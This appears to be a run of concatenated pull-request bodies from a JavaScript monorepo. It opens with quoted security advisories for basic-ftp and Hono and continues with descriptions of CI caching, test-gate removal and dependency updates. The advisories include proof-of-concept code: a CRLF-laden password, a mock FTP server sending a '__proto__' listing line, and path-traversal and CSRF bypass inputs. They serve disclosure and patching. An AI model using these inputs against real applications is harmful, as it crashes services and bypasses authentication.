[https://github.com/advisories/GHSA-r4jh-29pc-gfqr](https://redirect.github.com/advisories/GHSA-r4jh-29pc-gfqr)
This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-r4jh-29pc-gfqr)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>
---
### basic-ftp: Uncaught exception crashes the Node.js process when a
password (or resumed-download path) contains CR/LF
[CVE-2026-126346](https://nvd.nist.gov/vuln/detail/CVE-2026-126346) /
[GHSA-r4jh-29pc-gfqr](https://redirect.github.com/advisories/GHSA-r4jh-29pc-gfqr)
<details>
<summary>More information</summary>
#### Details
##### Summary
Client.login() calls FTPContext.send() from inside the control-socket
data event handler. send() throws on CR, LF or NUL, and nothing catches
the throw. A password containing \r\n therefore raises an uncaught
exception and terminates the whole Node.js process. It does not reject
the returned promise. Any application that passes untrusted input as the
FTP password can be crashed remotely with one request. The same pattern
exists in the REST/RETR path of downloadTo() when the remote path
contains control characters.
##### Details
The CRLF guard (FTPContext.send, src/FtpContext.ts ~L233) correctly
refuses to send commands containing \r, \n or \0:
```ts
send(command: string) {
if (/[\r\n\0]/.test(command)) {
throw new Error(`Invalid command: Contains control characters. (${command})`);
}
```
That works when send() is called from handle(), because it runs inside a
Promise executor and the throw becomes a rejection. But in two places
send() runs inside a response handler, which is called synchronously
from the socket’s data event:
Client.login() (src/Client.ts ~L246-248): after the server answers 331
to USER, the handler calls this.ftp.send("PASS " + password). The USER
command was already sent and is valid, so the password is only checked
at this point. The call chain is socket.on("data") →
_onControlSocketData → _passToHandler → responseHandler → send() →
throw. No try/catch exists anywhere in that chain, so it becomes an
uncaughtException.
downloadTo() (src/transfer.ts ~L368-370): when startAt > 0, the initial
command is REST n, which contains no user-controlled text. When the
server answers 350, the handler calls config.ftp.send("RETR " +
config.remotePath). This remotePath was never checked before. A path
with a control character throws in the data handler in the same way.
(Found by code reading, not reproduced.)
Because the exception happens during data event dispatch, it can’t be
handled with try/catch or .catch() around client.access() or
downloadTo(). The application only survives if it has a global
process.on("uncaughtException") handler.
##### Proof of concept
Tested on Node.js v22.22.0 against basic-ftp 6.2.2 (built from source).
It uses a minimal mock FTP server on localhost:
```js
const net = require("net")
const ftp = require("basic-ftp")
const srv = net.createServer(s => {
s.write("220 hi\r\n")
s.on("data", d => {
const c = d.toString()
if (c.startsWith("USER")) s.write("331 pw\r\n")
else if (c.startsWith("PASS")) s.write("230 ok\r\n")
else s.write("200 ok\r\n")
})
})
srv.listen(0, async () => {
const c = new ftp.Client(2000)
try {
await c.access({
host: "127.0.0.1",
port: srv.address().port,
user: "bob",
password: "x\r\nDELE important" // attacker-controlled value
})
} catch (e) {
console.log("rejected:", e.message) // never reached
}
console.log("handled gracefully") // never reached
process.exit(0)
})
```
Result: the process terminates with an uncaught exception and neither
catch nor the final console.log runs:
```
Error: Invalid command: Contains control characters. (PASS x
DELE important)
at FTPContext.send (dist/FtpContext.js:189:19)
at Object.responseHandler (dist/Client.js:186:26)
at FTPContext._passToHandler (dist/FtpContext.js:322:24)
at FTPContext._onControlSocketData (dist/FtpContext.js:312:18)
at Socket.<anonymous> (dist/FtpContext.js:133:44)
```
The server in the PoC is benign. Any normal FTP server that replies 331
to USER triggers the same crash.
##### Impact
Denial of service (uncaught exception, process termination), CWE-248.
It affects applications that pass untrusted or user-influenced values as
the FTP password, or as the remote path of a resumed download. Examples
are web apps or services that let users enter their own FTP credentials,
or file-transfer or backup tools driven by user-supplied paths. One
request crashes the whole Node.js process and every other client it
serves. It needs no authentication to the FTP server and no special
server behaviour. The attacker only needs control over the string.
Confidentiality and integrity are not affected, and the CRLF guard still
blocks command injection.
Suggested fix:
In FTPContext._passToHandler(), wrap the handler call in a try/catch
that rejects the task and calls closeWithError(err).
Validate password in login(), and remotePath in _downloadToStream(),
before any I/O and reject early.
#### Severity
- CVSS Score: 5.9 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H`
#### References
-
[https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-r4jh-29pc-gfqr](https://redirect.github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-r4jh-29pc-gfqr)
-
[0495b906bd)
-
[https://github.com/patrickjuchli/basic-ftp](https://redirect.github.com/patrickjuchli/basic-ftp)
-
[https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.2.3](https://redirect.github.com/patrickjuchli/basic-ftp/releases/tag/v6.2.3)
This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-r4jh-29pc-gfqr) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>
---
### basic-ftp: Uncaught TypeError in MLSD directory-listing parser via
__proto__ fact name causes DoS in Client.list()
[CVE-2026-126345](https://nvd.nist.gov/vuln/detail/CVE-2026-126345) /
[GHSA-5pm8-86m8-9m6r](https://redirect.github.com/advisories/GHSA-5pm8-86m8-9m6r)
<details>
<summary>More information</summary>
#### Details
##### Summary
basic-ftp's MLSD directory-listing parser (src/parseListMLSD.ts) looks
up fact-handler functions in a plain object literal keyed directly by
fact names taken from the FTP server's response, with no validation. A
directory-listing line containing the fact name "__proto__" resolves
this lookup to Object.prototype (inherited, non-own, non-function)
instead of undefined, so the "not a function" guard is bypassed and the
code throws `TypeError: factHandler is not a function`.
This TypeError is not an FTPError, so it is not caught by
Client.list()'s retry logic and propagates as a rejected promise out of
list() and every API built on top of it (list, downloadToDir,
uploadFromDir, clearWorkingDir, removeDir). Any FTP server the client
connects to — or any on-path attacker on a plaintext (non-TLS) FTP
session — can crash the calling application by returning one crafted
line in a directory listing. If the application does not wrap every one
of these calls in try/catch, the rejection is unhandled and crashes the
Node.js process (default behavior since Node 15).
##### Details
File: src/parseListMLSD.ts
```
const factHandlersByName: {[key: string]: FactHandler} = {
"size": parseSize,
"sizd": parseSize,
"unique": (value, info) => { info.uniqueID = value },
"modify": (value, info) => { ... },
"type": (value, info) => { ... },
"unix.mode": (value, info) => { ... },
...
}
export function parseLine(line: string): FileInfo | undefined {
const [ packedFacts, name ] = splitStringOnce(line, " ")
...
const facts = packedFacts.split(";")
for (const fact of facts) {
const [ factName, factValue ] = splitStringOnce(fact, "=")
if (!factValue) { continue }
const factHandler = factHandlersByName[factName.toLowerCase()] // <-- unsafe lookup
if (!factHandler) { continue }
const result = factHandler(factValue, info) // <-- throws here
...
}
return info
}
```
factHandlersByName is a plain `{}` object literal, so it inherits from
Object.prototype. Property access does not distinguish own keys from
inherited ones. When factName.toLowerCase() === "__proto__", the bracket
lookup factHandlersByName["__proto__"] returns Object.prototype itself —
a truthy, non-undefined value — so the `if (!factHandler) continue`
guard does not fire. The code then tries to call Object.prototype as a
function: `factHandler(factValue, info)`, which throws `TypeError:
factHandler is not a function`.
This line runs inside parseList() (src/parseList.ts), called
synchronously from a `.map()` over every line of the listing, which in
turn is called from Client._requestListWithCommand() -> Client.list()
(src/Client.ts). list()'s only error handling is:
```
catch (err) {
const shouldTryNext = err instanceof FTPError
if (!shouldTryNext) { throw err }
lastError = err
}
```
A plain TypeError is not an FTPError, so it is immediately rethrown
instead of being retried or suppressed, and the Promise returned by
list() rejects with it.
Affected call paths (all eventually call Client.list()):
- Client.list()
- Client.downloadToDir() / _downloadFromWorkingDir()
- Client.clearWorkingDir()
- Client.removeDir()
Only "__proto__" triggers the crash this way; other reserved
Object.prototype property names tested ("constructor", "toString",
"hasOwnProperty", "valueOf", "__defineGetter__") happen to resolve to
actual functions on Object.prototype, so they are called without
throwing (silently ineffective, not a crash). This confirms the root
cause is the use of an unguarded object literal as a dictionary keyed by
untrusted server input, rather than something specific to one property.
##### Proof of concept
Prerequisites: Node.js, a clone/checkout of basic-ftp, `npm install`
then `npm run buildOnly` (or `npx tsc`) to produce dist/.
Step 1 — Minimal reproduction of the parser bug alone:
node -e '
const { parseList } = require("./dist/parseList");
parseList("__proto__=x;type=file;size=10; evil.txt");
'
Expected result:
Uncaught TypeError: factHandler is not a function
at parseLine (.../dist/parseListMLSD.js:...)
Step 2 — End-to-end reproduction through the public Client API, proving
a real FTP server can trigger this over the wire with no client
modification:
Save as poc.js in the repo root and run `node poc.js`:
const net = require("net")
const { Client } = require("./dist/index")
const server = net.createServer(socket => {
socket.write("220 fake ftp ready\r\n")
socket.on("data", data => {
const cmd = data.toString().trim()
if (cmd.startsWith("USER")) socket.write("230 ok\r\n")
else if (cmd.startsWith("OPTS") || cmd.startsWith("TYPE") ||
cmd.startsWith("STRU") || cmd.startsWith("PBSZ") ||
cmd.startsWith("PROT")) socket.write("200 ok\r\n")
else if (cmd.startsWith("FEAT")) socket.write("211-Features\r\n MLST
type;size;\r\n211 End\r\n")
else if (cmd.startsWith("EPSV")) {
const dataServer = net.createServer(dsock => {
// The malicious line: fact name "__proto__"
dsock.end("__proto__=pwn;type=file;size=4; evil.txt\r\n")
})
dataServer.listen(0, "127.0.0.1", () => {
const p = dataServer.address().port
socket.write(`229 Entering Extended Passive Mode (|||${p}|)\r\n`)
})
}
else if (cmd.startsWith("MLSD") || cmd.startsWith("LIST")) {
socket.write("150 Here comes the listing\r\n")
setTimeout(() => socket.write("226 Listing complete\r\n"), 50)
}
else socket.write("200 ok\r\n")
})
})
server.listen(2121, "127.0.0.1", async () => {
const client = new Client()
try {
await client.access({ host: "127.0.0.1", port: 2121, user: "a",
password: "b" })
const files = await client.list()
console.log("list() returned normally (unexpected):", files)
} catch (err) {
console.log("client.list() threw:", err.constructor.name, "-",
err.message)
} finally {
client.close()
server.close()
process.exit(0)
}
})
Expected output:
client.list() threw: TypeError - factHandler is not a function
Configuration notes:
- No TLS, auth bypass, or special server config needed — this is a plain
FTP (PASV/EPSV
text) session using the server's FEAT response to turn on MLSD, which is
the common
path for any modern FTP server.
- The same crash can be delivered via a LIST-fallback MLSD-shaped line
too, since
parseList() auto-detects the format from the last listing line.
- In a real application without a try/catch around
list()/downloadToDir()/
clearWorkingDir()/removeDir(), this rejection is unhandled and
terminates the
Node.js process by default (Node >=15 unhandledRejection behavior is
"throw").
##### Impact
Type: Denial of Service (CWE-248: Uncaught Exception, enabled by
CWE-1321-style unguarded dictionary lookup on an object literal).
Who is impacted: Any application using basic-ftp's Client.list(),
downloadToDir(), uploadFromDir() (via ensureDir/clearWorkingDir paths),
clearWorkingDir(), or removeDir() against a server that is malicious,
compromised, or reachable by an on-path attacker on a non-TLS FTP
session. No authentication to the target server is required beyond
whatever credentials the application already uses, and no user
interaction is required — a single crafted directory-listing line is
sufficient.
Confidentiality: None. Integrity: None. Availability: High — unhandled
rejection crashes the Node.js process by default, taking down the whole
application/service, not just the FTP operation.
#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`
#### References
-
[https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-5pm8-86m8-9m6r](https://redirect.github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-5pm8-86m8-9m6r)
-
[a22664a45d)
-
[https://github.com/patrickjuchli/basic-ftp](https://redirect.github.com/patrickjuchli/basic-ftp)
-
[https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.2.4](https://redirect.github.com/patrickjuchli/basic-ftp/releases/tag/v6.2.4)
This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-5pm8-86m8-9m6r) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>
---
### Hono: `css` helper does not escape a closing tag split between the
template and an interpolated value, allowing HTML injection
[CVE-2026-126359](https://nvd.nist.gov/vuln/detail/CVE-2026-126359) /
[GHSA-3gg2-335m-rxc6](https://redirect.github.com/advisories/GHSA-3gg2-335m-rxc6)
<details>
<summary>More information</summary>
#### Details
##### Summary
The `css` helper in `hono/css` escapes a `/` that follows `<` inside an
interpolated value so that a value cannot close the `<style>` element.
The check only looks inside each value. When the text before a value
ends with `<`, whether that is the template itself or an earlier
interpolated value, and the next value starts with `/`, the `/` is not
escaped and the combined output contains an unescaped closing tag.
##### Details
Interpolated string values are escaped one at a time before they are
joined with the surrounding template text. The rule that neutralizes
`</` therefore cannot see a `<` that belongs to the template. A template
such as a `content` declaration that opens with a literal `<` and
interpolates a string right after it produces a raw `</style>` when that
string starts with `/style>`. During server-side rendering the `<Style
/>` element is closed early and the rest of the value is interpreted as
HTML.
This issue arises only when `<` is the last character before an
interpolation in a `css` template, either written in the template or
supplied by a preceding value, and the interpolated value is controlled
by a client.
##### Impact
A client that controls such a value can inject HTML, including script,
into the page rendered on the server.
This may lead to:
- Execution of attacker-controlled script in the browser of a user who
views the page
- Exposure of information available to that page
This issue affects applications that interpolate untrusted strings into
a `css` template immediately after a `<`, including two adjacent
interpolations such as `${prefix}${name}` where both are untrusted.
Other uses of the `css` helper are not affected.
##### Workarounds
Do not interpolate untrusted values into `css` templates, or make sure
the text before an interpolated value does not end with `<`.
#### Severity
- CVSS Score: 3.4 / 10 (Low)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N`
#### References
-
[https://github.com/honojs/hono/security/advisories/GHSA-3gg2-335m-rxc6](https://redirect.github.com/honojs/hono/security/advisories/GHSA-3gg2-335m-rxc6)
-
[15bbd96ad1)
-
[https://github.com/honojs/hono](https://redirect.github.com/honojs/hono)
-
[https://github.com/honojs/hono/releases/tag/v4.13.16](https://redirect.github.com/honojs/hono/releases/tag/v4.13.16)
This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-3gg2-335m-rxc6) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>
---
### Hono: `csrf()` does not check requests sent by hyperlink auditing
(`text/ping`)
[CVE-2026-126355](https://nvd.nist.gov/vuln/detail/CVE-2026-126355) /
[GHSA-46wx-v44x-9hh2](https://redirect.github.com/advisories/GHSA-46wx-v44x-9hh2)
<details>
<summary>More information</summary>
#### Details
##### Summary
`csrf()` validates a request only when its `Content-Type` is one of the
three types an HTML form can send. Chromium's hyperlink auditing (`<a
ping>`) sends a cross-origin POST with the user's cookies and the
content type `text/ping`, which is not in that list. The middleware does
not look at `Origin` or `Sec-Fetch-Site` for such a request, so it is
passed to the handler.
##### Details
The middleware skips the origin check when the content type is not one
that a form submission produces. The assumption was that any other
content type requires a CORS preflight and therefore cannot be sent
cross-origin with credentials. Hyperlink auditing is an exception:
Chrome and Edge send the ping as a credentialed POST without a
preflight, with a fixed body and `Content-Type: text/ping`.
A page on another origin can therefore trigger a POST to any URL of the
application. The `csrf()` options for `origin` and `secFetchSite` do not
change the outcome, because neither header is evaluated for the request.
The request body is fixed, so only actions whose effect does not depend
on the body can be triggered. Firefox does not send pings by default. As
with any CSRF, the user's cookie must be sent with the request, which
with the default `SameSite=Lax` means a same-site origin or a cookie set
with `SameSite=None`.
##### Impact
A user who visits a malicious page in Chrome or Edge while logged in to
an application protected by `csrf()` can be made to send a
state-changing request to that application, such as logging out,
deleting a resource, or toggling a setting that is selected by the path
or query string.
This issue affects applications that rely on `csrf()` as their CSRF
protection and expose state-changing endpoints whose effect does not
depend on the request body.
##### Workarounds
Reject requests with a `Content-Type` of `text/ping` in a middleware
registered before `csrf()`, or set session cookies with
`SameSite=Strict`.
#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N`
#### References
-
[https://github.com/honojs/hono/security/advisories/GHSA-46wx-v44x-9hh2](https://redirect.github.com/honojs/hono/security/advisories/GHSA-46wx-v44x-9hh2)
-
[bf16471913)
-
[https://github.com/honojs/hono](https://redirect.github.com/honojs/hono)
-
[https://github.com/honojs/hono/releases/tag/v4.13.16](https://redirect.github.com/honojs/hono/releases/tag/v4.13.16)
This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-46wx-v44x-9hh2) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>
---
### Hono: `validator('form')` skips validation for `multipart/form-data`
requests with extra parameters
[CVE-2026-126356](https://nvd.nist.gov/vuln/detail/CVE-2026-126356) /
[GHSA-4h7h-rv7c-7m2v](https://redirect.github.com/advisories/GHSA-4h7h-rv7c-7m2v)
<details>
<summary>More information</summary>
#### Details
##### Summary
`validator('form')` only recognizes a `multipart/form-data`
`Content-Type` that carries nothing but a single `boundary` parameter. A
request with another legal parameter, such as `charset`, or with extra
whitespace after the `;` is not recognized as a form. The validation
callback then receives an empty object, while `c.req.parseBody()` still
parses the body as a form.
##### Details
The check that decides whether a request body is a form was written as a
strict pattern over the whole `Content-Type` value. Any parameter list
that does not look exactly like `; boundary=...` fails the check. When
it fails, the middleware does not read the body and passes an empty
object to the validation callback. If the callback accepts an empty
object, the request proceeds to the handler, which can still read all
submitted fields through `c.req.parseBody()` or `c.req.formData()`.
`application/x-www-form-urlencoded` is not affected. Only the
`multipart/form-data` branch has the strict pattern.
This issue arises when an application relies on `validator('form')` to
reject or restrict fields and the validation callback does not fail on
an empty object.
##### Impact
An unauthenticated client can send form fields that the `form` validator
never sees, by adding a legal parameter to the `Content-Type` header.
This may lead to:
- Allow-list or required-field checks in the validator being skipped
- Fields the application intended to reject reaching the handler
This issue affects applications that use `validator('form')` with
`multipart/form-data` requests and whose validation callback accepts an
empty object.
##### Workarounds
Reject an empty object in the `validator('form')` callback, or validate
the result of `await c.req.parseBody()` in the handler.
#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N`
#### References
-
[https://github.com/honojs/hono/security/advisories/GHSA-4h7h-rv7c-7m2v](https://redirect.github.com/honojs/hono/security/advisories/GHSA-4h7h-rv7c-7m2v)
-
[d88fab3724)
-
[https://github.com/honojs/hono](https://redirect.github.com/honojs/hono)
-
[https://github.com/honojs/hono/releases/tag/v4.13.16](https://redirect.github.com/honojs/hono/releases/tag/v4.13.16)
This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-4h7h-rv7c-7m2v) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>
---
### Hono: `mount()` and `app.mount()` can forward a path that bypasses
middleware scoped inside the mount prefix
[CVE-2026-126357](https://nvd.nist.gov/vuln/detail/CVE-2026-126357) /
[GHSA-4m76-xfj5-7975](https://redirect.github.com/advisories/GHSA-4m76-xfj5-7975)
<details>
<summary>More information</summary>
#### Details
##### Summary
`mount()` and `app.mount()` remove the mount prefix from the request
path and forward the rest to the mounted application. Two mistakes in
that step let a crafted request reach a route of the mounted application
that the outer application protects with path-scoped middleware, such as
an authentication check on `/app/admin/*`. The outer application routes
on the original path, so the middleware does not run.
##### Details
1. **Dynamic prefix** (all affected versions): for a mount such as
`/api/:tenant/*`, the prefix was removed by the length of the route
pattern, not of the matched prefix. A request with a longer or shorter
first segment is cut in the middle, so `/api/a/xxxxx/admin/secret`
reaches the mounted application as `/admin/secret`.
2. **Re-normalization** (since 4.12.21): the forwarded path was built
from the decoded request path and assigned to `url.pathname`, which
turns a decoded backslash into `/` and collapses `..`.
`/app/public%5C..%5Cadmin/secret` reaches the mounted application as
`/admin/secret`.
The fix removes the prefix segment by segment from the raw pathname,
using the matched parameter values for its length. Route patterns that
cannot be handled safely now throw: duplicate parameter names and a
wildcard inside the last segment such as `/assets*`. A trailing slash in
an `app.mount()` prefix no longer removes an extra segment.
##### Impact
An unauthenticated client can reach a route of a mounted application
that the outer application protects with path-scoped middleware.
This affects applications that use `mount()` or `app.mount()` and rely
on middleware registered on a sub-path inside the mount prefi
> [!IMPORTANT]
> ✂ PR body was truncated to here.
## What
"Detect affected tests" decides which test files a PR runs. Today it
parses ~15,000 files on every PR run: madge builds the import graph,
then a second pass extracts exported names and symbol edges. That takes
~40s on the 5 vCPU runner, and almost none of those files changed since
the last run.
This change caches the parse results in a file, keyed by a hash of each
file's content:
- `scripts/affected-tests-cache.mjs` stores, per file, only what its own
text decides: the import specifiers precinct finds and the exports and
symbol edges the second pass extracts. Records are keyed by
`sha1(extension + content)`.
- Resolving those specifiers to files is **not** cached. It still runs
live through filing-cabinet with madge's exact options, so a rename, a
moved file or an alias change can't be hidden by a cache hit.
- The cache file records its schema version and the precinct and
typescript versions. If any of them differ, the run starts cold. It is
never wrong.
- `.github/workflows/prebuild.yml` restores the cache before detection
(restore only; PRs never save). The key is
`affected-graph-v1-<os>-<sha>` with the prefix restore-key
`affected-graph-v1-<os>-`, so a PR gets the newest main seed.
- The new `.github/workflows/affected-graph-seed.yml` refreshes the seed
on every push to main. It runs detection once on core's entry point,
which touches the whole graph, then saves the cache. A newer push
cancels an older seed run.
The detection output (selected files, graph nodes, test files) is
unchanged.
## Numbers
Measured on a 5 vCPU / 16 GB container like the CI runner, Node 24.22.1:
| | time |
|---|---|
| Uncached (today) | 40.3s |
| Cached, current seed | 4.0s |
| Cached, seed ~300 commits old | ~13s |
| Seed run on main | ~40s |
The seed file is 14.8 MB raw and 1.7 MB in the actions cache.
Compute: about 36s saved per PR run, against about 90s per merge to main
for the seed run.
## Testing
- Ran detection uncached and cached on 20 recent merged PRs (between 1
and 3,532 files selected): output identical on all 20.
- Renamed `retry-after.ts`, updated its importers and added a new test
file importing the renamed module: identical output (2,849 selected),
the new test is selected and the old path is gone from the graph.
- `packages/core/src/affected-tests-cache.test.ts` covers cold, warm and
changed-import runs. It fails if records are keyed by file name instead
of content.
- `packages/core/src/affected-tests-resolution.test.ts` and
`.github/scripts/ci-routing.test.ts` pass. oxlint and prettier are
clean.
Stacked on #29091 (cancelled runs stop downstream jobs). It will be
retargeted to main once that merges.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->
## ELI5
The affected-test detector checks which tests may need to run after code
changes. This PR saves file-parsing results so later checks can reuse
them, while still resolving file links against the current code.
## What changed
- Added a content-addressed cache for file parsing. It stores import
specifiers, exported names, and symbol edges, and checks a schema and
extractor-version string before reusing records.
- Kept file resolution live through filing-cabinet and Madge’s existing
options. Updated affected-test detection to use the cache and save
records used during the run.
- Added a workflow to refresh the cache seed on pushes to `main`.
Updated prebuild to restore the seed for affected-test detection.
- Added a test for uncached, cold-cache, and warm-cache graphs,
including after a file’s imports change.
## Validation
Test, lint, formatting, output-comparison, runtime, and review-finding
results: not available.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: remy-builder[bot] <324360501+remy-builder[bot]@users.noreply.github.com>
## What this does
Deletes the Changed Test Gate workflow, its labeler workflow (which
labels PRs from the gate's result) and `scripts/pr-test-gate/`. The
gate's deployer rule is kept: it moves into Prebuild as a small
`Deployer E2E coverage` job.
## What the gate enforced, and what goes
The gate checked out the base branch, restored the PR's changed test
files on top of it, and ran them. Removing it drops two rules:
1. **Fail-before-fix.** If a PR changed tests, those tests had to fail
against the base branch ("Changed tests passed against the base branch.
They should fail before the PR code is applied."). This rule goes.
2. **External contributors must add tests.** A PR from outside the org
(`AUTHOR_ASSOCIATION` not OWNER/MEMBER/COLLABORATOR) with no changed
test files failed. This rule goes.
A third rule stays: **a PR that changes `packages/deployer/` must also
change `e2e-tests/monorepo/`** (`packages/deployer/AGENTS.md` and
`CHANGELOG.md` exempt; the same-repo Changesets release PR skipped).
It's now `Deployer E2E coverage` in `prebuild.yml`: a `git diff
--name-only` against the merge base, no install or build. It's its own
job rather than a step in `changes`, because a failing `changes` job
would skip every test job. `packages/deployer/AGENTS.md` now names that
job.
## Why dropping 1 and 2 is acceptable
- Neither rule was enforced at merge time: the gate isn't a required
check. The required checks are `Lint` and `Unit and E2E Tests / Merge
Test Reports`, and this PR touches neither.
- Of the gate's last 1000 runs, 8 failed. All 8 were the fail-before-fix
rule firing on tests that passed without the fix; each PR resolved it by
rewriting its tests. Across 812 gate logs from Aug–Oct, every run that
executed tests took the passing path (changed tests failed against base,
as required). So it shaped how a few tests were written, but no run
showed it stopping broken code from merging.
- It costs a runner, a checkout and a test run on every non-draft PR, on
top of Prebuild running the same changed tests against the PR head.
- External contributions still go through maintainer review, which can
ask for tests.
## Test plan
- [x] `rg` for remaining references: only two "former" comments and an
unrelated fixture name
- [x] `pnpm install --frozen-lockfile` works after removing
`scripts/pr-test-gate` (192 projects)
- [x] Deployer check shell logic run locally under `bash -eo pipefail`
with a stubbed diff: deployer-only change fails with the annotation;
deployer + `e2e-tests/monorepo/` passes; `AGENTS.md`/`CHANGELOG.md`-only
passes; no deployer change passes
- [ ] CI on this PR: no Changed Test Gate check appears; `Deployer E2E
coverage` passes
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->
## ELI5
This change removes the old system that checked whether pull requests
added and tested tests. It keeps one focused rule: changes to the
deployer package must include a monorepo E2E test change, with specified
documentation files exempt.
## Changes
- Deleted the Changed Test Gate workflow, its labeler workflow, and the
`scripts/pr-test-gate/` package.
- Added a separate `Deployer E2E coverage` job to Prebuild. The job
checks the merge-base diff and fails when a non-exempt file under
`packages/deployer/` changes without a file under `e2e-tests/monorepo/`.
- Exempted `packages/deployer/AGENTS.md` and
`packages/deployer/CHANGELOG.md` from the coverage check.
- Updated `packages/deployer/AGENTS.md` to refer to the Prebuild job.
- Updated comments in the memory simulation config and two test
link-provider files.
## Validation
The PR description reports that `pnpm install --frozen-lockfile`
succeeded across 192 projects and that the deployer-check shell logic
passed the listed local cases. CI validation is not confirmed: the
description says it is not yet known whether the old check disappears
and the new job passes.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: remy-builder[bot] <324360501+remy-builder[bot]@users.noreply.github.com>
This PR contains the following updates:
| Update | Change |
|---|---|
| lockFileMaintenance | All locks refreshed |
---
> [!WARNING]
> Some dependencies could not be looked up. Check the [Dependency
Dashboard](../issues/9505) for more information.
🔧 This Pull Request updates lock files to use the latest dependency
versions.
---
### Configuration
📅 **Schedule**: (UTC)
- Branch creation
- "before 6am on wednesday"
- Automerge
- At any time (no schedule defined)
🚦 **Automerge**: Enabled.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.
👻 **Immortal**: This PR will be recreated if closed unmerged. Get
[config
help](https://redirect.github.com/renovatebot/renovate/discussions) if
that's undesired.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR has been generated by [Mend Renovate
CLI](https://redirect.github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xOTAuMCIsInVwZGF0ZWRJblZlciI6IjQ0LjE5MC4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJhdXRvbWF0aW9uIl19-->
---------
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
Refs mastra-ai/platform#2931
Vanta remediation pass for 2026-10-28. It follows #28325, which has
merged.
## 2026-10-28 update
Today's live Vanta export added 3 advisory IDs on `mastra-ai/mastra`
(GitHub/Dependabot). This PR fixes the two that have a published fix and
leaves deepmerge, which has none.
| Package | From → To | Finding | Where | How |
|---|---|---|---|---|
| qs | 6.16.0 → 6.16.1 | CVE-2026-110816 / GHSA-6pq8-jhm2-2vcw (Medium
×4) | root `pnpm-lock.yaml`, 9 `e2e-tests/*` lockfiles,
`scripts/gh-issue-triage/package-lock.json` | Raised the existing floors
`qs@>=6.7.0 <6.16.0: 6.16.0` → `<6.16.1: 6.16.1` and `'qs@<6.7.0':
6.16.0` → `6.16.1`. Raised the npm override in gh-issue-triage. |
| @modelcontextprotocol/node | 2.0.0 → 2.1.1 | GHSA-f897-62hf-6gxq (High
×2; HTTP transports had no body-size or batch-length limit) | root
`pnpm-lock.yaml` (published `@mastra/mcp` 1.18.0, used as `mcp-legacy`),
`scripts/gh-issue-triage/package-lock.json` | New pnpm override
`'@modelcontextprotocol/node@>=2.0.0 <2.1.0': 2.1.1` and a new npm
override in gh-issue-triage. I used 2.1.1 rather than 2.1.2 because
2.1.2 needs a `@modelcontextprotocol/server` peer of `^2.4.0`, while
`@mastra/mcp` 1.18 resolves server 2.3.1. `packages/mcp` itself already
uses node 2.1.2. |
- Both versions are older than the 1-day `minimumReleaseAge`: qs 6.16.1
was published 10-14 and node 2.1.1 on 10-02. I did not use qs 6.16.2
(10-27), which is too new.
- No floors or overrides were removed; existing ones were only raised.
- `pnpm install --frozen-lockfile --lockfile-only` passes at the root.
Each nested e2e workspace was regenerated with `pnpm install
--lockfile-only`.
- Added the empty changeset
`.changeset/vanta-2026-10-28-security-floors.md`. No published package
changes.
- After this change, osv-scanner over all 33 lockfiles reports only the
documented leftovers:
- zod 3.25.76 (zod v3 compat line on purpose)
- ai 4.3.19 / `@ai-sdk/provider-utils` 2.2.8 (vendored v4 line)
- `@azure/msal-node` 5.6.0 / 6.0.1 (fix 7.1.0 needs majors in identity
and teams)
- `@opentelemetry/core` 1.30.1 (needs pubsub 6)
- extract-zip 2.0.1 (no patched release)
- deepmerge 4.3.1 (CVE-2026-93753 / GHSA-gcqx-w48m-w2h4; no patched
release, 4.3.1 is the latest)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->
## ELI5
This PR updates dependency rules and package versions to use newer
releases, including security fixes for `qs` and
